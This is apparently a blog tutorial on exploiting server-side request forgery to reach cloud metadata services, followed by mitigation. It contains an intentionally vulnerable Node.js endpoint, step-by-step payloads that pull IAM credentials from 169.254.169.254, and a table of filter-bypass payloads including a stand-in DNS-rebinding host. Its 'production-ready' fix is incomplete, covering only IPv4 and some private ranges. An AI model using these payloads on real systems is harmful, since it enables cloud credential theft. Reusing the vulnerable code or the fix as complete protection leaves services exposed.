JavaScript is not enabled!...Please enable javascript in your browser

جافا سكريبت غير ممكن! ... Please enable JavaScript in your browser.

Home

Advanced Cloud SSRF: How I Exploited Metadata Services in Production Environment

Advanced Cloud SSRF: How I Exploited Metadata Services in Production Environment (and How to Mitigate It)

Security vulnerabilities in cloud ecosystems often hide behind legitimate functionalities. Among these, Server-Side Request Forgery (SSRF) remains one of the most devastating flaws when deployed in modern cloud infrastructure like AWS, Google Cloud, or DigitalOcean.

In this comprehensive guide, I will share a real-world technical deep-dive based on a practical production configuration. We will explore how an attacker can leverage a seemingly harmless URL preview feature to query internal Metadata Services (IMDS), extract sensitive cloud credentials, and compromise an entire cluster. Finally, we will write a secure, production-ready implementation to block this vector permanently.


The Root Cause: Why Cloud SSRF is Different

In a traditional infrastructure, an SSRF vulnerability typically allows an attacker to scan internal ports (like localhost:8080) or access internal administration panels. However, when an application is hosted on cloud instances, the stakes are exponentially higher.

Cloud providers expose an internal HTTP endpoint known as the Instance Metadata Service (IMDS). This service allows running instances to query configuration data, networking details, and—most importantly—temporary IAM credentials assigned to the instance profile.

The Famous Target: IMDSv1 vs. IMDSv2

The metadata services are always hosted on a non-routable link-local IP address: 169.254.169.254.

  • IMDSv1 (Request/Response): Vulnerable by design to basic SSRF because it only requires a simple HTTP GET request to extract keys.
  • IMDSv2 (Token-Based): Requires a PUT request to generate a session token first, making basic SSRF exploitation significantly harder but not entirely impossible if the application forwards custom headers or allows method manipulation.

Scenario: The Vulnerable Microservice Architecture

Let's look at a common production setup. Imagine an API built to generate automated screenshots or crawl website titles for metadata parsing. The feature accepts a user-supplied URL, executes an internal request using a backend client, and parses the response.

The Flawed Implementation (Node.js / Axios)

const express = require('express');
const axios = require('axios');
const app = express();

app.use(express.json());

// Vulnerable URL Preview Endpoint
app.post('/api/v1/preview', async (req, res) => {
    const { targetUrl } = req.body;

    if (!targetUrl) {
        return res.status(400).json({ error: 'URL is required' });
    }

    try {
        // The server fetches the URL directly without validation
        const response = await axios.get(targetUrl, { timeout: 5000 });
        return res.status(200).json({
            status: 'success',
            contentLength: response.data.length,
            htmlPreview: response.data.substring(0, 500) // Returning partial content
        });
    } catch (error) {
        return res.status(500).json({ error: 'Failed to fetch the URL' });
    }
});

app.listen(3000, () => console.log('Server running on port 3000'));

Why this code is dangerous:

The developer trusted the user input implicitly. The application executes the network request directly from the internal server container, meaning the request carries the network identity and privileges of the underlying cloud host machine.


Step-by-Step Exploitation: From URL Entry to IAM Credentials

Step 1: Enumerating the Link-Local Address

An attacker sends a payload pointing straight to the internal cloud routing loop:

{
  "targetUrl": "http://169.254.169.254/latest/meta-data/"
}

The Server Response:

{
  "status": "success",
  "contentLength": 240,
  "htmlPreview": "ami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nhostname\niam/\ninstance-action\ninstance-id\ninstance-type\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\npublic-ipv4\nsecurity-groups"
}

The server just returned the directory structure of the cloud provider’s metadata server. The environment is confirmed to be running on an older metadata configuration (IMDSv1).

Step 2: Accessing the IAM Role Name

By appending /iam/security-credentials/ to the path, the attacker can find the exact name of the IAM role attached to the server instance.

{
  "targetUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

The Server Response:

{
  "status": "success",
  "contentLength": 32,
  "htmlPreview": "production-web-app-role"
}

Step 3: Exfiltrating the Security Tokens

Now, the attacker queries the specific role name to extract the temporary access keys:

{
  "targetUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/production-web-app-role"
}

The Server Response:

{
  "status": "success",
  "contentLength": 850,
  "htmlPreview": "{\n  \"Code\" : \"Success\",\n  \"LastUpdated\" : \"2026-06-30T10:00:00Z\",\n  \"Type\" : \"AWS-HMAC\",\n  \"AccessKeyId\" : \"ASIAXXXXXXXXXXXXXXXX\",\n  \"SecretAccessKey\" : \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  \"Token\" : \"IQoJb3JpZ2luX2VjE...[TRUNCATED]...\",\n  \"Expiration\" : \"2026-06-30T16:00:00Z\"\n}"
}

Within seconds, the attacker has obtained a valid AccessKeyId, SecretAccessKey, and SessionToken. They can now configure these credentials locally using the command-line interface (CLI) and access the cloud control plane directly.


Defeating Advanced Bypasses (DNS Rebinding & Encoded Vectors)

Many developers attempt to fix this issue by creating a simple blacklist (e.g., checking if the URL string contains 169.254.169.254 or 127.0.0.1). However, simple string matching is trivial to bypass.

Attack Vectors to Keep in Mind:

  • Decimal/Hexadecimal Encoding: Converting the IP address to a different format. For instance, http://2852039166/ resolves directly to 169.254.169.254.
  • DNS Rebinding: The attacker registers a domain (e.g., malicious.com) and sets its DNS TTL to 0. When the server validates the URL, the DNS resolves to a safe public IP (like 8.8.8.8). But when the server executes the actual axios.get() call a millisecond later, the domain resolves to 169.254.169.254.
Payload Type Example Format Purpose
Octal Encoding http://0251.0376.0251.0376/ Bypasses simple regex string validation filters.
Alternative Loopback http://localhost/ or http://127.0.0.1 Accesses internal server-side services and administrative ports.
DNS Rebinding Domain http://rebind.attacker.com Dynamically switches IPs between validation and execution phases.

The Definite Solution: Implementing Secure Network Validation

To prevent SSRF effectively, we must implement a whitelist-based network validation layer that intercepts the request at the DNS resolution phase before any HTTP request occurs.

Production-Ready Secure Code Pattern (Node.js)

const express = require('express');
const axios = require('axios');
const dns = require('dns').promises;
const app = express();

app.use(express.json());

// Helper function to verify if an IP address is private or link-local
function isPrivateIp(ipAddress) {
    const privateRanges = [
        /^127\./,                 // Loopback
        /^169\.254\./,             // Link-Local (Cloud Metadata)
        /^10\./,                  // Private Class A
        /^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private Class B
        /^192\.168\./             // Private Class C
    ];
    return privateRanges.some(regex => regex.test(ipAddress));
}

app.post('/api/v1/secure-preview', async (req, res) => {
    const { targetUrl } = req.body;

    try {
        const parsedUrl = new URL(targetUrl);
        const hostname = parsedUrl.hostname;

        // Resolve DNS records explicitly to verify the destination IP
        const addresses = await dns.resolve4(hostname);
        if (addresses.length === 0) {
            return res.status(400).json({ error: 'Invalid domain name' });
        }

        const targetIp = addresses[0];

        // Strict Enforcement: Block internal routing targets
        if (isPrivateIp(targetIp)) {
            console.warn(`[Security Warning] Blocked SSRF attempt targeting IP: ${targetIp}`);
            return res.status(403).json({ error: 'Access to internal infrastructure is prohibited' });
        }

        // Pin the request directly to the validated IP to defeat DNS Rebinding
        const secureRequestUrl = `${parsedUrl.protocol}//${targetIp}${parsedUrl.pathname}${parsedUrl.search}`;

        const response = await axios.get(secureRequestUrl, {
            headers: { 'Host': hostname }, // Preserve original hostname header
            timeout: 3000,
            maxRedirects: 0 // Prevent redirect-based loops
        });

        return res.status(200).json({
            status: 'success',
            contentLength: response.data.length
        });

    } catch (error) {
        return res.status(500).json({ error: 'Secure fetching policy block or network timeout' });
    }
});

app.listen(3000, () => console.log('Secure server running on port 3000'));

Architectural Hardening Checklist

Securing code logic is just one layer of defense. To achieve a zero-trust model inside your cloud architecture, make sure to implement the following controls:

  1. Enforce IMDSv2: Transition all cloud workloads away from IMDSv1. Set the token response hop limit to 1 inside your container environments to prevent network requests from jumping host bridges.
  2. Network Segmentation: Use VPC firewalls or security groups to explicitly block egress traffic from your application containers to the 169.254.169.254 address unless absolutely necessary.
  3. Principle of Least Privilege: Ensure the IAM role assigned to your server instance profile contains only the minimum permissions required for its basic operations. Never attach administrative policies to web-facing worker nodes.

By adhering to strict DNS-level verification and ensuring your cloud metadata service paths are locked down, you can completely isolate web assets from internal cloud infrastructure, keeping your organization safe from high-impact SSRF exploitation.

NameEmailMessage